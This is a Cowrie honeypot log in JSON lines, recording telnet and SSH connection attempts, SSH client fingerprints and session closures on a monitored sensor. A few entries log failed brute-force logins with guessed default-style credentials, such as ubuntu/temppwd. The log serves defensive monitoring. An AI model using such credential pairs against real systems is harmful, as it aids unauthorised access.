{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":49000,"dst_ip":"10.17.0.5","dst_port":23,"session":"597f7b2c1f3c","protocol":"telnet","message":"New connection: 69.65.3.189:49000 (10.17.0.5:23) [session: 597f7b2c1f3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:29.475218Z"}
{"eventid":"cowrie.session.closed","duration":120.00138473510742,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:34.699381Z","src_ip":"157.49.80.15","session":"03faeabd1e31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.137865781784058,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:35.558389Z","src_ip":"72.27.71.31","session":"62e9ef845a17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00131011009216,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:36.559184Z","src_ip":"157.49.80.15","session":"4d0090aa4bba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":35596,"dst_ip":"159.203.135.109","dst_port":23,"session":"53f0ea3ec48a","protocol":"telnet","message":"New connection: 80.65.211.42:35596 (159.203.135.109:23) [session: 53f0ea3ec48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:41.604675Z"}
{"eventid":"cowrie.session.closed","duration":120.00197124481201,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:43.240342Z","src_ip":"157.49.80.15","session":"abe8881d8e2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":6451,"dst_ip":"10.17.0.5","dst_port":23,"session":"d18fb667e55d","protocol":"telnet","message":"New connection: 157.49.80.15:6451 (10.17.0.5:23) [session: d18fb667e55d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:43.890121Z"}
{"eventid":"cowrie.session.closed","duration":30.964032888412476,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:48.373033Z","src_ip":"80.65.211.42","session":"84d922761a88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":34264,"dst_ip":"10.17.0.5","dst_port":23,"session":"15c455726e0d","protocol":"telnet","message":"New connection: 157.49.80.15:34264 (10.17.0.5:23) [session: 15c455726e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:51.368215Z"}
{"eventid":"cowrie.session.closed","duration":34.59435558319092,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:52.633777Z","src_ip":"80.65.211.42","session":"92d382e5c223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.73240065574646,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:03:54.378455Z","src_ip":"69.65.3.189","session":"f99877bb060c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.99802494049072,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:02.473113Z","src_ip":"69.65.3.189","session":"597f7b2c1f3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.92067003250122,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:06.569575Z","src_ip":"69.65.3.189","session":"35799c6e99c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47808,"dst_ip":"159.203.135.109","dst_port":23,"session":"f86af623e734","protocol":"telnet","message":"New connection: 80.65.211.42:47808 (159.203.135.109:23) [session: f86af623e734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:11.819116Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":47814,"dst_ip":"159.203.135.109","dst_port":23,"session":"5aa677bcba5d","protocol":"telnet","message":"New connection: 80.65.211.42:47814 (159.203.135.109:23) [session: 5aa677bcba5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:11.909477Z"}
{"eventid":"cowrie.session.closed","duration":45.50301647186279,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:12.152618Z","src_ip":"69.65.3.189","session":"a988829b4259","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.602816343307495,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:13.207366Z","src_ip":"80.65.211.42","session":"53f0ea3ec48a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.58.24.198","src_port":38469,"dst_ip":"159.203.135.109","dst_port":23,"session":"49b59ed9999a","protocol":"telnet","message":"New connection: 152.58.24.198:38469 (159.203.135.109:23) [session: 49b59ed9999a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:23.617129Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":43148,"dst_ip":"159.203.135.109","dst_port":23,"session":"0398eb5b4dfe","protocol":"telnet","message":"New connection: 80.65.211.42:43148 (159.203.135.109:23) [session: 0398eb5b4dfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:32.395201Z"}
{"eventid":"cowrie.session.closed","duration":30.314769744873047,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:42.133771Z","src_ip":"80.65.211.42","session":"f86af623e734","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68695831298828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:42.596302Z","src_ip":"80.65.211.42","session":"5aa677bcba5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":40752,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a2fee458d5d","protocol":"telnet","message":"New connection: 80.65.211.42:40752 (159.203.135.109:23) [session: 3a2fee458d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:42.832331Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":48704,"dst_ip":"159.203.135.109","dst_port":23,"session":"f47be0fbc936","protocol":"telnet","message":"New connection: 80.65.211.42:48704 (159.203.135.109:23) [session: f47be0fbc936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:53.465489Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":52702,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc238942d944","protocol":"telnet","message":"New connection: 80.65.211.42:52702 (159.203.135.109:23) [session: cc238942d944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:58.022161Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":33642,"dst_ip":"10.17.0.5","dst_port":23,"session":"8419ca9e9329","protocol":"telnet","message":"New connection: 69.65.3.189:33642 (10.17.0.5:23) [session: 8419ca9e9329]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:58.246318Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":40118,"dst_ip":"10.17.0.5","dst_port":22,"session":"41a4429fd888","protocol":"ssh","message":"New connection: 80.94.92.184:40118 (10.17.0.5:22) [session: 41a4429fd888]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:59.240986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:59.426892Z","src_ip":"80.94.92.184","session":"41a4429fd888","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:04:59.430978Z","src_ip":"80.94.92.184","session":"41a4429fd888","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"Solana","message":"login attempt [solana/Solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:00.458604Z","src_ip":"80.94.92.184","session":"41a4429fd888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:01.731689Z","src_ip":"80.94.92.184","session":"41a4429fd888","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.25278854370117,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:06.647876Z","src_ip":"80.65.211.42","session":"0398eb5b4dfe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.461604356765747,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:14.293811Z","src_ip":"80.65.211.42","session":"3a2fee458d5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":39264,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd88203ad703","protocol":"telnet","message":"New connection: 80.65.211.42:39264 (159.203.135.109:23) [session: fd88203ad703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:16.893745Z"}
{"eventid":"cowrie.session.closed","duration":31.188445329666138,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:24.653825Z","src_ip":"80.65.211.42","session":"f47be0fbc936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.512561559677124,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:29.534579Z","src_ip":"80.65.211.42","session":"cc238942d944","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.80672359466553,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:37.052932Z","src_ip":"69.65.3.189","session":"8419ca9e9329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00126242637634,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:43.891279Z","src_ip":"157.49.80.15","session":"d18fb667e55d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":48080,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d77ae4d21aa","protocol":"telnet","message":"New connection: 157.49.80.15:48080 (10.17.0.5:23) [session: 6d77ae4d21aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:44.429620Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":54928,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a24c0bf49fe","protocol":"telnet","message":"New connection: 80.65.211.42:54928 (159.203.135.109:23) [session: 7a24c0bf49fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:48.238250Z"}
{"eventid":"cowrie.session.closed","duration":31.931034564971924,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:48.824681Z","src_ip":"80.65.211.42","session":"fd88203ad703","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00148844718933,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:51.369549Z","src_ip":"157.49.80.15","session":"15c455726e0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.49.80.15","src_port":49108,"dst_ip":"10.17.0.5","dst_port":23,"session":"991e359ac49f","protocol":"telnet","message":"New connection: 157.49.80.15:49108 (10.17.0.5:23) [session: 991e359ac49f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:05:52.090527Z"}
{"eventid":"cowrie.session.closed","duration":31.092222452163696,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:06:19.330381Z","src_ip":"80.65.211.42","session":"7a24c0bf49fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00110030174255,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:06:23.618071Z","src_ip":"152.58.24.198","session":"49b59ed9999a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":48072,"dst_ip":"10.17.0.5","dst_port":23,"session":"21ade8b367b9","protocol":"telnet","message":"New connection: 69.65.3.189:48072 (10.17.0.5:23) [session: 21ade8b367b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:06:27.346453Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":44166,"dst_ip":"159.203.135.109","dst_port":23,"session":"903e0ad8b66a","protocol":"telnet","message":"New connection: 154.53.41.252:44166 (159.203.135.109:23) [session: 903e0ad8b66a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:06:33.102227Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":44740,"dst_ip":"159.203.135.109","dst_port":23,"session":"390324f6c5c2","protocol":"telnet","message":"New connection: 154.53.41.252:44740 (159.203.135.109:23) [session: 390324f6c5c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:06:33.458856Z"}
{"eventid":"cowrie.session.closed","duration":31.15886902809143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:04.261023Z","src_ip":"154.53.41.252","session":"903e0ad8b66a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94577646255493,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:04.404574Z","src_ip":"154.53.41.252","session":"390324f6c5c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":36962,"dst_ip":"159.203.135.109","dst_port":23,"session":"5df93824e60f","protocol":"telnet","message":"New connection: 80.65.211.42:36962 (159.203.135.109:23) [session: 5df93824e60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:05.292887Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":47028,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c63e7835e39","protocol":"telnet","message":"New connection: 206.130.127.38:47028 (159.203.135.109:23) [session: 9c63e7835e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:09.378068Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.53.41.252","src_port":56876,"dst_ip":"159.203.135.109","dst_port":23,"session":"adb008ac51ac","protocol":"telnet","message":"New connection: 154.53.41.252:56876 (159.203.135.109:23) [session: adb008ac51ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:14.708390Z"}
{"eventid":"cowrie.session.closed","duration":47.92657494544983,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:15.272906Z","src_ip":"69.65.3.189","session":"21ade8b367b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":49296,"dst_ip":"159.203.135.109","dst_port":23,"session":"92ddd4311e33","protocol":"telnet","message":"New connection: 80.65.211.42:49296 (159.203.135.109:23) [session: 92ddd4311e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:16.342214Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":58668,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f99287185b8","protocol":"telnet","message":"New connection: 206.130.127.38:58668 (159.203.135.109:23) [session: 4f99287185b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:24.487583Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":35234,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ac29dc43c3e","protocol":"telnet","message":"New connection: 80.65.211.42:35234 (159.203.135.109:23) [session: 3ac29dc43c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:28.046981Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.130.127.38","src_port":33486,"dst_ip":"159.203.135.109","dst_port":23,"session":"944de71d1e34","protocol":"telnet","message":"New connection: 206.130.127.38:33486 (159.203.135.109:23) [session: 944de71d1e34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:28.369350Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.13.206.100","src_port":35892,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ce69df9e253","protocol":"ssh","message":"New connection: 103.13.206.100:35892 (10.17.0.5:22) [session: 0ce69df9e253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:28.909856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:28.914667Z","src_ip":"103.13.206.100","session":"0ce69df9e253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:29.155341Z","src_ip":"103.13.206.100","session":"0ce69df9e253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"13","message":"login attempt [user/13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:30.149053Z","src_ip":"103.13.206.100","session":"0ce69df9e253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.65.211.42","src_port":35242,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc589f774c4c","protocol":"telnet","message":"New connection: 80.65.211.42:35242 (159.203.135.109:23) [session: dc589f774c4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:30.980225Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:31.393171Z","src_ip":"103.13.206.100","session":"0ce69df9e253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.48.147.111","src_port":36290,"dst_ip":"10.17.0.5","dst_port":22,"session":"28a92096b266","protocol":"ssh","message":"New connection: 120.48.147.111:36290 (10.17.0.5:22) [session: 28a92096b266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:34.474585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:34.479198Z","src_ip":"120.48.147.111","session":"28a92096b266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:34.696846Z","src_ip":"120.48.147.111","session":"28a92096b266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"temppwd","message":"login attempt [ubuntu/temppwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:35.601148Z","src_ip":"120.48.147.111","session":"28a92096b266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.187506675720215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T22:07:36.480250Z","src_ip":"80.65.211.42","session":"5df93824e60f","protocol":"telnet"}
